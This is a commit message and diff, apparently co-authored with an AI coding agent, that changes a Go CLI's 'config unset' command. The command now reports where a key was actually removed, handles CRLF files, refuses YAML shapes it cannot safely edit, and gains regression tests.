Comment-only change. Co-Authored-By: Claude Opus 5 (1M context) * fix(config): report the unset location from the write, not a merged pre-check Two blocking items from review. 1. The location guard read viper's resolved value, not the config.yaml layer. config.GetYamlConfig is v.GetString on the merged viper, which serves SetDefault values and AutomaticEnv, so every non-yaml-only key with a non-empty default (no-hooks, no-db, json, events-journal-retain-days, events-journal-auto-prune) looked present in config.yaml even in a workspace with no config.yaml at all. That meant bd printed "Unset (in database, config.yaml)" over a file it never touched - a more specific false claim than the message this PR set out to remove - and, with no project config.yaml, failed the command with "no .beads/config.yaml found" AFTER the database row was already gone, where main printed "Unset " and exited 0. UnsetYamlConfig (and UnsetUserYamlConfig) now return whether the file was actually changed, threading out the found/ok that commentOutFlatYamlKey and commentOutNestedYamlKey already computed. A missing project config.yaml, and a key not present in a shape that can be safely commented, are both (false, nil) - "not in config.yaml" is an answer, not a failure. The command clears the layer unconditionally and derives the location from the result, so the string is a report of the write rather than a guess made before it. That also settles the non-blocking third point: a refusal path can no longer print "Unset ..." over a no-op. 2. commentOutNestedYamlKey over-deleted a flow mapping. It accepted any leaf whose key and scalar value shared a line, but in flow style the leaf's line IS the parent's, so `unset dolt.mode` commented out `dolt: {mode: server}` whole and took the entire mapping with it. On main the flat regex never matched this, so the loss is new. The leaf now has to start at the line's first non-space column. Also from review: commentOutFlatYamlKey splits instead of scanning, so a flat unset keeps the file's trailing newline like the nested and no-match paths always did; and the "flat form wins when both are present" case says why the nested copy survives, and what `changed` does and does not claim when it does. Regression coverage: four commentOutYamlKey cases (two flow-mapping, two trailing-newline), a changed/content agreement assertion across the whole table, and two embedded CLI subtests - one proving the location no longer names config.yaml for a defaulted key that was never written there, one proving an unset with no project config.yaml exits 0 and does not recreate the file. All four reproduce red against the pre-fix code. Reported-by: bee-ghosttrack Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * fix(config): address #5760 review — top-level flat match, lists at the key's indent Blockers from the re-review at d168df1841: - The flat-key match accepted any indentation, so on the database-backed path `bd config unset enabled` commented out a nested backup.enabled and reported "in database, config.yaml". A flat key is a top-level key whose name contains the dots, so it now matches only at the document's top-level indentation, read from the first key line (yaml.v3 accepts a document whose whole mapping is indented, which main's "preserve indentation" case covers). The same change stops `mode` under `dolt: mode: x: 1` from triggering a refusal that did not apply. - A list at the key's own indentation (`types.custom:` then `- step`) slipped past the refusal and left config.yaml unparseable. A `-` item at the key's indentation now counts as the key's value. Smaller: - Only a comment, an anchor or a tag after the colon (`b: # note`, `base: &b`) still leaves the value to the lines beneath, and is refused. - Blank-line detection uses TrimSpace, so a CRLF blank line no longer ends the value early. - The message no longer calls a plain scalar on the next line "a mapping or list". Each has a case in TestUnsetRefusesShapesItCannotEdit or TestCommentOutYamlKey, and undoing each fix fails its case. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(config): refuse a single-segment block scalar; pin the tag and dedent branches (#5760 review) - unsupportedUnsetShape returned early for single-segment keys, so `notes: |` with an indented body plus `unset notes` commented the key and orphaned the body, and the file stopped parsing. The database-backed unset now reaches this path for every key, so single-segment keys are checked too. - New pins: a tag alone after the colon (`m: !!map`) leaves the value below, and a dedent ends the value (`outer:` / ` k:` / `z: 1`, unset outer.k, is commented). Undoing either branch fails its case. - The database-path error no longer claims a row was unset. UnsetSettingResult cannot say whether one existed. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(config): restore CRLF normalization lost by the split-based unset rewrite Base commentOutYamlKey scanned with bufio.Scanner, whose ScanLines drops a trailing \r, so CRLF files came back LF-only. The PR switched to strings.Split to preserve the file final newline, which carried every \r through. Normalizing at entry keeps both properties: base own TestCommentOutYamlKeyPreservesTheTrailingNewline now passes 9/9. * fix(config): keep the no-config.yaml unset failure reportable for yaml-only keys Base extracted the yaml-only unset into runConfigUnsetYamlOnly, which runs the leaked-secret row cleanup independently of the YAML edit and folds the row's fate into the returned error. This PR widened UnsetYamlConfig to (bool, error) and swallowed the missing-config.yaml case as (false, nil) so its own new database-backed call site would stop failing after the row was already gone. Merging both turned base's report into a success, so TestConfigUnsetCleansTheRowWhenTheYamlUnsetFails lost the error it asserts and the leaked-credential rotation notice went to stdout instead of the error. The two call sites need opposite answers, so report the case as a sentinel, ErrNoProjectConfigYaml, and let each state its own contract. Resolution stays in findProjectConfigYaml so neither caller re-derives it - a caller-side pre-check is what produced the false "(in config.yaml)" claims this PR removes. * fix(config): compare the unset against the normalized content, gate the hint Maintainer review fixup for PR #5760 (adopt-pr iterations 1 and 2). Iteration 1 addresses the synthesis Pre-Merge Checklist in full; iteration 2 takes both of its non-gating follow-ups. New Finding 1 (major) — commentOutYamlKey rewrites CRLF to LF as its first statement, but both public callers compared its result against the raw os.ReadFile bytes. On any CRLF config.yaml those always differ, so the `changed` bool meant "the bytes moved", not "the key was there": unsetting an ABSENT key returned (true, nil), printed "Unset (in config.yaml)" — the exact false claim this PR exists to remove — rewrote the whole file to LF, and made the new "was not set" branch unreachable on a supported platform. Both callers now normalize once up front and compare like for like, so a no-op leaves the file byte-identical. A real unset still normalizes to LF, which is base behavior; it is pinned at the callee and, since iteration 2, through both callers. Note this was introduced by the adopt lane's own CRLF-restoration repair (59463663e), not by the contributor. New Finding 1 test cell (required) — every change-report fixture in the package was LF, so nothing in-tree could catch this. Added a CRLF absent-key cell for BOTH callers asserting changed=false and byte-identity. Proven non-vacuous: reverting one caller to the raw-byte compare reds that caller's subtest on both assertions and leaves its sibling green. New Finding 2 (minor) — printConfigSideEffects sat outside the if/else, so the no-op branch printed "Backup config removed..." right after saying the key was never set. All four side-effect keys are yaml-only by prefix, so 4/4 route through the new branch. Gated on `changed`, which covers the --json arm too since the hint goes to stderr and was never suppressed there. New Finding 3 (minor) — the yaml-only --json payload rendered location as "" both for an absent key and for an unpopulated field, with no way to tell them apart; added a `changed` bool and pinned one --json cell per route. New Finding 4 (nit) — the ErrNoProjectConfigYaml doc comment was written as a caller census and was short by two. Re-censused: four non-test callers, taking three different answers. Reworded to say so. CHANGELOG: the honesty claim is no longer LF-only; recorded the no-op byte-identity, the gated hint, and the new --json field. Iteration 2, minor (test evidence) — the absent-key cell pins only the no-op direction of the new compare. A caller that returned early whenever the up-front normalization changed anything passed the whole package, and it turns every unset on a CRLF config.yaml into a silent " was not set" while the key stays effective. Added TestUnsetOfAPresentKeyInACRLFFileReportsTheWrite for both callers: changed=true, the key line commented out, and the file LF-normalized. Proven non-vacuous: that early return in both callers reds only this test, both subtests on both assertions; in one caller it reds only that caller's subtest; and writing CRLF back reds only the file assertion. The rest of the package stays green under each. Iteration 2, nit (contract) — the CHANGELOG said `--json` carries a `changed` boolean, but only the yaml-only route's payload does; the DB-backed route still emits just key and location. Scoped the sentence to the yaml-only payload. Validation (scrubbed env — ambient BEADS_* and BD_* variables fake reds here): internal/config full package is 450 PASS / 0 FAIL; cmd/bd seam selector with BEADS_TEST_EMBEDDED_DOLT=1 is 63 PASS / 0 FAIL / 2 SKIP over 65 runs, the two skips being the cells that need a Dolt server. The new embedded cell executes rather than skipping, and reverting the two config.go changes reds it on both the payload and the hint assertions. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 22 ++ cmd/bd/config.go | 72 ++++++- cmd/bd/config_embedded_test.go | 184 ++++++++++++++++ cmd/bd/dolt.go | 2 +- cmd/bd/dolt_remote_proxied_server.go | 2 +- internal/config/user_config_path_test.go | 2 +- internal/config/yaml_config.go | 198 +++++++++++++++--- internal/config/yaml_config_test.go | 83 +++++++- internal/config/yaml_nested_roundtrip_test.go | 46 +++- internal/config/yaml_unset_newline_test.go | 154 +++++++++++++- 10 files changed, 717 insertions(+), 48 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d291eb727..e2f6684ee 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1195,6 +1195,28 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 no longer counts an issue its batch filter skipped (create-only, a `ShouldPush` hook, parent, type, or conflict) as skipped twice. Notion's batch dry-run was already correct. +- **`bd config unset` no longer reports success while the key stays set, and + now names where the unset actually landed.** A key present in + `config.yaml` but not claimed by `IsYamlOnlyKey` was deleted from the + database only, so it stayed effective; it is now cleared from both, and the + reported location - `Unset (in database, config.yaml)` - is derived + from what the writes actually changed rather than from a pre-check of viper's + merged value, which counted defaults and environment variables as present in + the file. A yaml-only key that was not in the file prints ` was not set + in config.yaml` instead of claiming a write. A workspace with no project + `config.yaml` at all is an answer rather than a failure, so a database-backed + unset there no longer deletes the row and then exits non-zero. Unsetting a + key whose value is the indented block beneath it (a mapping or a list), which + used to comment out the key line and orphan the block into a `config.yaml` + that no longer parsed, is now refused alongside the flow-style and + block-scalar shapes above. An unset also keeps the file's trailing newline, + and an unset that changes nothing now leaves the file byte-identical - on a + CRLF `config.yaml` it previously reported a write for a key that was never + there and rewrote every line ending to LF. The stderr side-effect hint is + gated on the write too, so a no-op no longer announces a removal it did not + make, and the `--json` payload for a yaml-only key carries a `changed` boolean + so the machine branch can tell an absent key from an unpopulated field. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/cmd/bd/config.go b/cmd/bd/config.go index ca7e1971f..a475f89d2 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "os" "os/exec" @@ -797,13 +798,14 @@ func showConfigYAMLOverrides(dbConfig map[string]string) { // cleanup runs either way, and a failed YAML unset carries the row's fate in // its error rather than dropping it. func runConfigUnsetYamlOnly(key string) error { - location := "config.yaml" + file := "config.yaml" + var changed bool var unsetErr error if config.IsUserGlobalKey(key) { - unsetErr = config.UnsetUserYamlConfig(key) - location = config.UserConfigYamlDisplayPath() + changed, unsetErr = config.UnsetUserYamlConfig(key) + file = config.UserConfigYamlDisplayPath() } else { - unsetErr = config.UnsetYamlConfig(key) + changed, unsetErr = config.UnsetYamlConfig(key) } cleanup := unsetLeakedSecretRow(key) @@ -812,10 +814,23 @@ func runConfigUnsetYamlOnly(key string) error { return HandleError("unsetting config: %v%s", unsetErr, cleanup.rowNote(key)) } + // The location is a report of the write, not a guess made before it: an + // absent file or a key that was never written there is a no-op, and saying + // "Unset (in config.yaml)" over a file that never held it is the + // untrustworthy message this command's fix set out to remove. + location := "" + if changed { + location = file + } + if jsonOutput { payload := map[string]interface{}{ "key": key, "location": location, + // The human branch gets an explicit "was not set" sentence; without + // this the machine branch cannot tell that no-op apart from an + // unpopulated field, since both render location as "". + "changed": changed, } if config.IsSecretKey(key) { cleanup.jsonFields(payload) @@ -823,11 +838,22 @@ func runConfigUnsetYamlOnly(key string) error { if err := outputJSON(payload); err != nil { return err } - } else { + } else if changed { fmt.Printf("Unset %s (in %s)\n", key, location) cleanup.describe(key, location) + } else { + fmt.Printf("%s was not set in %s\n", key, file) + cleanup.describe(key, file) + } + // Gate the hint on the write, uniformly across all three arms above. Every + // key in checkConfigUnsetSideEffects is phrased in the completed past tense + // ("Backup config removed...") and three of the four hand the operator a + // follow-up command, so on the no-op branch the command contradicted the + // line it had just printed. This covers the jsonOutput arm too: the hint + // goes to stderr, so --json never suppressed it. + if changed { + printConfigSideEffects(checkConfigUnsetSideEffects(key)) } - printConfigSideEffects(checkConfigUnsetSideEffects(key)) return nil } @@ -885,14 +911,44 @@ var configUnsetCmd = &cobra.Command{ } noteDirectConfigWrite() + // Clear the config.yaml layer unconditionally and report what the + // write actually did. Pre-checking with GetYamlConfig would read + // viper's *merged* value - SetDefault values and AutomaticEnv + // included - so a key with a non-empty default (no-hooks, json, + // events-journal-retain-days, ...) looked present in config.yaml even + // in a workspace with no config.yaml at all. That produced a more + // specific false claim than the message this fix removed, and, with no + // project config.yaml, failed the command after the database row was + // already gone. + // + // A config.yaml the unset refuses to edit (a flow-style mapping, a + // block value) is reported as exactly that: any database row is + // already gone, but the key is still effective from the file, so this + // still fails. "Any": UnsetSettingResult cannot say whether a row + // existed, since the storage seam discards the affected-row count. + location := "database" + yamlCleared, err := config.UnsetYamlConfig(result.Key) + // A workspace with no project config.yaml has no YAML layer to clear, so + // the database write above is the whole unset and this succeeds - that is + // the case that used to fail the command after the row was already gone. + // A config.yaml that exists and refused the edit is the opposite: the key + // is still effective from the file, so that still fails. + if err != nil && !errors.Is(err, config.ErrNoProjectConfigYaml) { + return HandleError("%s is still set in config.yaml (any database row was removed): %v", result.Key, err) + } + if yamlCleared { + location = "database, config.yaml" + } + if jsonOutput { if err := outputJSON(map[string]string{ - "key": result.Key, + "key": result.Key, + "location": location, }); err != nil { return err } } else { - fmt.Printf("Unset %s\n", result.Key) + fmt.Printf("Unset %s (in %s)\n", result.Key, location) } printConfigSideEffects(checkConfigUnsetSideEffects(result.Key)) return nil diff --git a/cmd/bd/config_embedded_test.go b/cmd/bd/config_embedded_test.go index 5838b59eb..07ebbc091 100644 --- a/cmd/bd/config_embedded_test.go +++ b/cmd/bd/config_embedded_test.go @@ -7,6 +7,7 @@ import ( "fmt" "os" "os/exec" + "path/filepath" "strings" "sync" "testing" @@ -159,6 +160,189 @@ func TestEmbeddedConfig(t *testing.T) { } }) + // A key that config.yaml carries but IsYamlOnlyKey does not claim was + // unset from the database alone, so it stayed effective while bd reported + // success. + t.Run("config_unset_clears_yaml_layer", func(t *testing.T) { + configPath := filepath.Join(dir, ".beads", "config.yaml") + original, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + if err := os.WriteFile(configPath, append(original, []byte("\ntest.fromyaml: yamlvalue\n")...), 0600); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + + out := bdConfig(t, bd, dir, "unset", "test.fromyaml") + if !strings.Contains(out, "config.yaml") { + t.Errorf("unset output should name config.yaml as a cleared location: %s", out) + } + + after, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("read config.yaml after unset: %v", err) + } + if strings.Contains(string(after), "\ntest.fromyaml: yamlvalue") { + t.Errorf("test.fromyaml still set in config.yaml after unset:\n%s", after) + } + if !strings.Contains(string(after), "# test.fromyaml: yamlvalue") { + t.Errorf("expected the unset key to remain as a comment:\n%s", after) + } + }) + + // The location bd reports must be a record of the writes it made, not a + // guess made before them. GetYamlConfig reads viper's MERGED value - + // SetDefault values and AutomaticEnv included - so a database-backed key + // with a non-empty default looked present in config.yaml even in a + // workspace whose config.yaml never mentioned it, and bd claimed to have + // cleared a file it did not touch. + t.Run("config_unset_does_not_claim_a_yaml_write_it_did_not_make", func(t *testing.T) { + configPath := filepath.Join(dir, ".beads", "config.yaml") + before, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + // no-hooks is not a yaml-only key and carries the default "false", so + // GetYamlConfig("no-hooks") is non-empty with or without a + // config.yaml entry. It is absent from this workspace's config.yaml. + if strings.Contains(string(before), "no-hooks") { + t.Skipf("this workspace's config.yaml already carries no-hooks; the probe needs a key it does not") + } + + bdConfig(t, bd, dir, "set", "no-hooks", "true") + out := bdConfig(t, bd, dir, "unset", "no-hooks") + + if strings.Contains(out, "config.yaml") { + t.Errorf("unset named config.yaml as a cleared location, but the key was never written there: %s", out) + } + if !strings.Contains(out, "in database") { + t.Errorf("unset should report the database as the cleared location: %s", out) + } + + after, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("read config.yaml after unset: %v", err) + } + if string(after) != string(before) { + t.Errorf("config.yaml was rewritten by an unset that had nothing to clear:\nbefore:\n%s\nafter:\n%s", before, after) + } + }) + + // With no project config.yaml at all, a database-backed unset of a + // defaulted key used to delete the row and then fail on "no + // .beads/config.yaml found" - a non-zero exit over a half-applied unset, + // where before this PR bd printed "Unset " and exited 0. "Not in + // config.yaml" is an answer, not a failure. The key has to be one with a + // non-empty default (no-hooks), since that is what made the old + // GetYamlConfig pre-check believe there was a config.yaml layer to clear. + t.Run("config_unset_succeeds_with_no_project_config_yaml", func(t *testing.T) { + configPath := filepath.Join(dir, ".beads", "config.yaml") + original, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + t.Cleanup(func() { + if err := os.WriteFile(configPath, original, 0600); err != nil { + t.Fatalf("restore config.yaml: %v", err) + } + }) + + bdConfig(t, bd, dir, "set", "no-hooks", "true") + if err := os.Remove(configPath); err != nil { + t.Fatalf("remove config.yaml: %v", err) + } + + out := bdConfig(t, bd, dir, "unset", "no-hooks") + if strings.Contains(out, "config.yaml") { + t.Errorf("unset named config.yaml with no config.yaml present: %s", out) + } + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + t.Errorf("unset recreated config.yaml: %v", err) + } + }) + + // Both --json routes changed shape in this PR and neither was pinned. The + // yaml-only payload carries `changed` because `location` is "" both when + // the key was never set and when a field is merely unpopulated — the human + // branch got an explicit "was not set" sentence for exactly that reason and + // the machine branch had no way to tell the two apart. The stderr + // side-effect hint is gated on the same bool: every hint is phrased in the + // completed past tense ("Backup config removed..."), so printing one on the + // no-op branch contradicts the line printed just above it. + t.Run("config_unset_json_payloads_and_no_op_hint", func(t *testing.T) { + configPath := filepath.Join(dir, ".beads", "config.yaml") + original, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + t.Cleanup(func() { + if err := os.WriteFile(configPath, original, 0600); err != nil { + t.Fatalf("restore config.yaml: %v", err) + } + }) + if strings.Contains(string(original), "backup.enabled") { + t.Skipf("this workspace's config.yaml already carries backup.enabled; the no-op probe needs a key it does not") + } + + run := func(args ...string) (string, string) { + t.Helper() + cmd := exec.Command(bd, append([]string{"config"}, args...)...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd config %s failed: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, stdout.String(), stderr.String()) + } + return stdout.String(), stderr.String() + } + decode := func(out string) map[string]interface{} { + t.Helper() + var payload map[string]interface{} + if err := json.Unmarshal([]byte(out), &payload); err != nil { + t.Fatalf("unset --json did not emit an object: %v\n%s", err, out) + } + return payload + } + + // yaml-only route, key absent: no write, so no location, no hint. + stdout, stderr := run("unset", "--json", "backup.enabled") + payload := decode(stdout) + if changed, ok := payload["changed"].(bool); !ok || changed { + t.Errorf("yaml-only --json payload changed = %v (present=%v), want false: %s", payload["changed"], ok, stdout) + } + if payload["location"] != "" { + t.Errorf("yaml-only --json payload named a location for a key that was never set: %s", stdout) + } + if strings.Contains(stderr, "Hint:") { + t.Errorf("the no-op branch printed a side-effect hint asserting a removal that never happened:\n%s", stderr) + } + + // yaml-only route, key present: the write is reported, and the hint + // that describes it is the one thing that should appear on stderr. + if err := os.WriteFile(configPath, append(original, []byte("\nbackup.enabled: true\n")...), 0600); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + stdout, stderr = run("unset", "--json", "backup.enabled") + payload = decode(stdout) + if changed, ok := payload["changed"].(bool); !ok || !changed { + t.Errorf("yaml-only --json payload changed = %v, want true for a key the file carried: %s", payload["changed"], stdout) + } + if payload["location"] != "config.yaml" { + t.Errorf("yaml-only --json payload location = %v, want config.yaml: %s", payload["location"], stdout) + } + if !strings.Contains(stderr, "Backup config removed") { + t.Errorf("a real removal dropped its side-effect hint:\n%s", stderr) + } + + // database-backed route: its payload names the layers it cleared. + run("set", "no-hooks", "true") + stdout, _ = run("unset", "--json", "no-hooks") + payload = decode(stdout) + if loc, _ := payload["location"].(string); !strings.Contains(loc, "database") { + t.Errorf("database-backed --json payload location = %v, want it to name the database: %s", payload["location"], stdout) + } + }) + // ===== Validate ===== // Note: config validate checks dolt server connectivity which doesn't // apply to embedded mode, so we skip it here. diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index c7a3e4633..b6764cb75 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -1824,7 +1824,7 @@ var doltRemoteRemoveCmd = &cobra.Command{ if name == "origin" { if current := config.GetYamlConfig("sync.remote"); current != "" { - if err := config.UnsetYamlConfig("sync.remote"); err != nil { + if _, err := config.UnsetYamlConfig("sync.remote"); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to clear sync.remote from config.yaml: %v\n", err) } if isGitRepo() { diff --git a/cmd/bd/dolt_remote_proxied_server.go b/cmd/bd/dolt_remote_proxied_server.go index 1ed7f9469..b4b8e165e 100644 --- a/cmd/bd/dolt_remote_proxied_server.go +++ b/cmd/bd/dolt_remote_proxied_server.go @@ -31,7 +31,7 @@ func runDoltRemoteRemoveProxied(ctx context.Context, name string) error { if name == "origin" { if current := config.GetYamlConfig("sync.remote"); current != "" { - if err := config.UnsetYamlConfig("sync.remote"); err != nil { + if _, err := config.UnsetYamlConfig("sync.remote"); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to clear sync.remote from config.yaml: %v\n", err) } if isGitRepo() { diff --git a/internal/config/user_config_path_test.go b/internal/config/user_config_path_test.go index 33b2cd020..07056704d 100644 --- a/internal/config/user_config_path_test.go +++ b/internal/config/user_config_path_test.go @@ -215,7 +215,7 @@ func TestRelativeUserRootsNeverReachImplicitOrExplicitFilesystemPaths(t *testing t.Errorf("SetUserYamlConfig error %q does not name %s", setErr, variable) } } - if err := UnsetUserYamlConfig("metrics.disabled"); err == nil { + if _, err := UnsetUserYamlConfig("metrics.disabled"); err == nil { t.Fatal("UnsetUserYamlConfig returned nil error for unsafe roots") } diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index 50c2f436a..8cf62abfb 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -2,6 +2,7 @@ package config import ( "bufio" + "errors" "fmt" "os" "os/exec" @@ -15,6 +16,14 @@ import ( "gopkg.in/yaml.v3" ) +// ErrNoProjectConfigYaml reports that the workspace has no project config.yaml +// for a YAML-only write to edit - an external BEADS_DIR, or a database-only +// workspace. It is a sentinel because the answer is caller-dependent: a caller +// whose whole job is the YAML edit has failed and must say so, while a caller +// mirroring a database write into the YAML layer has nothing to clear and has +// not. +var ErrNoProjectConfigYaml = errors.New("no project config.yaml in this workspace") + // YamlOnlyKeys are configuration keys that must be stored in config.yaml // rather than the database. These are "startup" settings that are // read before the database is opened. @@ -617,32 +626,49 @@ func MetricsNoticeShownByUserConfig() bool { return shown } -func UnsetUserYamlConfig(key string) error { +// UnsetUserYamlConfig comments out key in the user-global config.yaml. The bool +// reports whether the file was actually changed, on the same terms as +// UnsetYamlConfig: an absent file or an absent key is (false, nil), not an +// error. +func UnsetUserYamlConfig(key string) (bool, error) { configPath, err := UserConfigYamlPath() if err != nil { - return err + return false, err } content, err := os.ReadFile(configPath) //nolint:gosec // configPath is a validated absolute user config path if err != nil { if os.IsNotExist(err) { - return nil + return false, nil } - return fmt.Errorf("failed to read user config.yaml: %w", err) + return false, fmt.Errorf("failed to read user config.yaml: %w", err) } - newContent, err := commentOutYamlKey(string(content), key) + // Normalize before the call, not after it. commentOutYamlKey rewrites CRLF + // to LF as its first statement, so comparing its result against the raw + // bytes asks whether the bytes moved rather than whether the key was + // commented out: on any CRLF file those always differ, and an unset of an + // absent key reported "Unset (in config.yaml)" — the false claim this + // path exists to remove — while rewriting the whole file to LF. Comparing + // against the same normalized form the callee answered from keeps the bool + // meaning "the key was there", and skipping the write on false leaves a + // CRLF file byte-identical. + normalized := strings.ReplaceAll(string(content), "\r\n", "\n") + newContent, err := commentOutYamlKey(normalized, key) if err != nil { - return err + return false, err + } + if newContent == normalized { + return false, nil } // Preserve the owner-private 0600 posture every other user-global writer // uses (SetUserYamlConfig, setYamlConfigAtPath, the metrics bootstrap); // rewriting at 0644 would relax this shared user config to world-readable. if err := os.WriteFile(configPath, []byte(newContent), 0o600); err != nil { //nolint:gosec // configPath is from UserConfigYamlPath - return fmt.Errorf("failed to write user config.yaml: %w", err) + return false, fmt.Errorf("failed to write user config.yaml: %w", err) } - return nil + return true, nil } func SetUserYamlConfig(key, value string) error { @@ -696,29 +722,56 @@ func GetYamlConfig(key string) string { return v.GetString(key) } -// UnsetYamlConfig removes a configuration value from the project's config.yaml file. -// The key line is commented out (prefixed with "# ") to preserve it as documentation. -func UnsetYamlConfig(key string) error { +// UnsetYamlConfig removes a configuration value from the project's config.yaml +// file. The key line is commented out (prefixed with "# ") to preserve it as +// documentation. +// +// The bool reports whether the file was actually changed, so a caller can name +// where the unset landed rather than asserting a write it did not make. It is +// false, with a nil error, when the key is not present in the file: "the key is +// not in config.yaml" is the correct answer to give there, not a failure. +// +// A workspace with no project config.yaml at all is reported separately, as +// ErrNoProjectConfigYaml, because the callers need different answers for it and +// only they can tell which applies. The two `bd config unset` routes need +// opposite ones — the yaml-only route reports it, the database-backed route +// tolerates it via errors.Is, since there the database write is the whole unset. +// The two `sync.remote` cleanup sites (cmd/bd/dolt.go and +// cmd/bd/dolt_remote_proxied_server.go) take a third: they deliberately keep +// their base warn-on-any-error behavior. Resolution stays here so none of them +// re-derives it: pre-checking in the caller is what produced the false +// "(in config.yaml)" claims this whole path exists to remove. +func UnsetYamlConfig(key string) (bool, error) { configPath, err := findProjectConfigYaml() if err != nil { - return err + return false, fmt.Errorf("%w: %w", ErrNoProjectConfigYaml, err) } content, err := os.ReadFile(configPath) //nolint:gosec // configPath is from findProjectConfigYaml if err != nil { - return fmt.Errorf("failed to read config.yaml: %w", err) + if os.IsNotExist(err) { + return false, nil + } + return false, fmt.Errorf("failed to read config.yaml: %w", err) } - newContent, err := commentOutYamlKey(string(content), key) + // Normalize before the call so the comparison below answers "was the key + // commented out", not "did the bytes move" — see UnsetUserYamlConfig for + // the CRLF false-positive this avoids. + normalized := strings.ReplaceAll(string(content), "\r\n", "\n") + newContent, err := commentOutYamlKey(normalized, key) if err != nil { - return err + return false, err + } + if newContent == normalized { + return false, nil } if err := os.WriteFile(configPath, []byte(newContent), 0600); err != nil { //nolint:gosec // configPath is validated - return fmt.Errorf("failed to write config.yaml: %w", err) + return false, fmt.Errorf("failed to write config.yaml: %w", err) } - return nil + return true, nil } // findProjectConfigYaml finds the active config.yaml path for YAML-only config writes. @@ -1104,6 +1157,13 @@ func scalarStyleFor(value string) yaml.Style { } func commentOutYamlKey(content, key string) (string, error) { + // Normalize CRLF up front. The old implementation scanned with + // bufio.Scanner, whose ScanLines drops a trailing "\r", so a CRLF file came + // back LF-only; splitting on "\n" instead (below, to keep the file's final + // newline) would otherwise carry every "\r" through and change that + // long-standing behavior. + content = strings.ReplaceAll(content, "\r\n", "\n") + if err := unsupportedUnsetShape(content, key); err != nil { return "", err } @@ -1125,10 +1185,19 @@ func commentOutYamlKey(content, key string) (string, error) { // `remote: keep-this` inside it is prose, and commenting it out edits their // data. Matching by line has to skip those lines to stay honest. blockIndent := -1 - scanner := bufio.NewScanner(strings.NewReader(content)) - for scanner.Scan() { - line := scanner.Text() - + // Split rather than scan so the file's trailing newline survives: a + // scanner drops it, so every unset rewrote the file without its final + // newline, and the unset callers could not tell "nothing matched" from a + // write by comparing content. + lines := strings.Split(content, "\n") + // A flat key is a TOP-LEVEL key whose name contains the dots, so it only + // matches at the document's top-level indentation. Without this, a + // single-segment key such as `enabled` matched a nested ` enabled:` line + // under some other section and commented out a key the caller never named. + // The top level is usually column 0, but yaml.v3 accepts a document whose + // whole mapping is indented, so it is read from the first key line. + topIndent := yamlTopLevelIndent(lines) + for i, line := range lines { if blockIndent >= 0 { if strings.TrimSpace(line) == "" || lineIndent(line) > blockIndent { result = append(result, line) @@ -1138,12 +1207,18 @@ func commentOutYamlKey(content, key string) (string, error) { } blockIndent = blockScalarIndent(line) - if matches := flatPattern.FindStringSubmatch(line); matches != nil { + if matches := flatPattern.FindStringSubmatch(line); matches != nil && len(matches[1]) == topIndent { + if err := mappingValueUnsetRefusal(lines, i, len(matches[1]), key); err != nil { + return "", err + } result = append(result, matches[1]+"# "+strings.TrimLeft(line, " \t")) continue } if name, indent, ok := yamlKeyOnLine(line); ok && walk.step(name, indent) { + if err := mappingValueUnsetRefusal(lines, i, indent, key); err != nil { + return "", err + } result = append(result, strings.Repeat(" ", indent)+"# "+strings.TrimLeft(line, " \t")) continue } @@ -1172,6 +1247,72 @@ func commentOutYamlKey(content, key string) (string, error) { return strings.TrimRight(out, "\n") + content[len(strings.TrimRight(content, "\n")):], nil } +// mappingValueUnsetRefusal refuses a matched key line whose value continues on +// the lines beneath it rather than sitting on the key's own line: a nested +// mapping, a list, or a plain scalar continued on the next line. Commenting +// that one line out would orphan those lines, leaving a config.yaml that no +// longer parses. The value is judged by the first following line that carries +// content, so a key with an empty value and nothing under it is still +// commented as before. +// +// Nothing on the key's own line but a comment, an anchor or a tag (`b: # +// note`, `base: &b`, `m: !!map`) still leaves the value to the lines beneath. +// A list may sit at the key's OWN indentation (`types.custom:` then `- step`), +// which YAML allows for a sequence value, so a `-` item at that indentation +// belongs to the key too. +func mappingValueUnsetRefusal(lines []string, idx, indent int, key string) error { + _, rest, _ := strings.Cut(strings.TrimLeft(lines[idx], " \t"), ":") + if !valueContinuesBelow(rest) { + return nil + } + for _, next := range lines[idx+1:] { + // TrimSpace, not TrimLeft: a CRLF file's blank line is a lone "\r", + // which must not read as content at column 0 and end the value early. + trimmed := strings.TrimSpace(next) + if trimmed == "" || strings.HasPrefix(trimmed, "#") { + continue + } + nextIndent := lineIndent(next) + if nextIndent < indent { + return nil + } + if nextIndent == indent && trimmed != "-" && !strings.HasPrefix(trimmed, "- ") { + return nil + } + return fmt.Errorf("cannot unset %q: its value continues on the lines beneath it, and commenting the key out would 